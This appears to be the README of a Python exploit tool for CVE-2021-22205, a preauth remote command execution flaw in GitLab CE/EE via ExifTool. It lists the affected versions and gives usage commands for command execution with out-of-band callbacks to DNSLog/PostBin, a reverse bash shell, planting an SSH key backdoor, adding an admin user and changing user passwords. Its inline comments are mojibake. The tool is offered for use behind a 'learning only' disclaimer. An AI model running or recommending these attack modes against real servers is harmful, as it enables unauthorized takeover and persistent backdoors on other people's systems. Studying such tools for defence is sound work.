CVE-2021-22205
GitLab CE/EE Preauth RCE using ExifTool
This project is for learning only, if someone's rights have been violated, please contact me to remove the project, and the last DO NOT USE IT ILLEGALLY If you have any illegal behavior in the process of using this tool, you will bear all the consequences yourself. All developers and all contributors of this tool do not bear any legal and joint liabilities
Description
An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
Affect Versions:
- >=11.9, <13.8.8
- >=13.9, <13.9.6
- >=13.10, <13.10.3
Features
-
Gitlab version detection through the hash in Webpack manifest.json
-
Automatical out-of-band interactions with DNSLog & PostBin
-
Support Reverse Bash Shell / Append SSH Key to authorized_keys
-
Support ENTER to modify and restore gitlab user password
Usage
๐ โบโบโบ python CVE-2021-22205.py
โโโโโโโโโ CVE-2021-22205
โ โโโโโโโโโโ GitLab CE/EE Unauthenticated RCE using ExifTool
โโโโโโโโโโโ Affecting all versions starting from 11.9
โโโโโโโโโโ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
โโโโโโโโโโ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # ็ๆฌ & ๆผๆดๆขๆต
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # ๅฝไปคๆง่ก OOB ๅๆพ
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # ๅฝไปคๆง่กๅๆไปถๅๆพ
python3 CVE-2021-22205.py -u site_url -m rev ip port # ๅๅผน SHELL
python3 CVE-2021-22205.py -u site_url -m ssh git/root # SSH ๅ้จๆคๅ
ฅ
python3 CVE-2021-22205.py -u site_url -m add user pass # ๆทปๅ ็ฎก็็จๆท
python3 CVE-2021-22205.py -u site_url -m mod user # ไฟฎๆน user ๅฏ็ => [email protected]
python3 CVE-2021-22205.py -u site_url -m rec user # ่ฟๅ user ๅฏ็
Screenshot
Detect:
RCE(Echo via PostBin OOB):
Reverse Bash Shell:
Append SSH Key to authorized_keys:
Gitlab user password modification and restoration: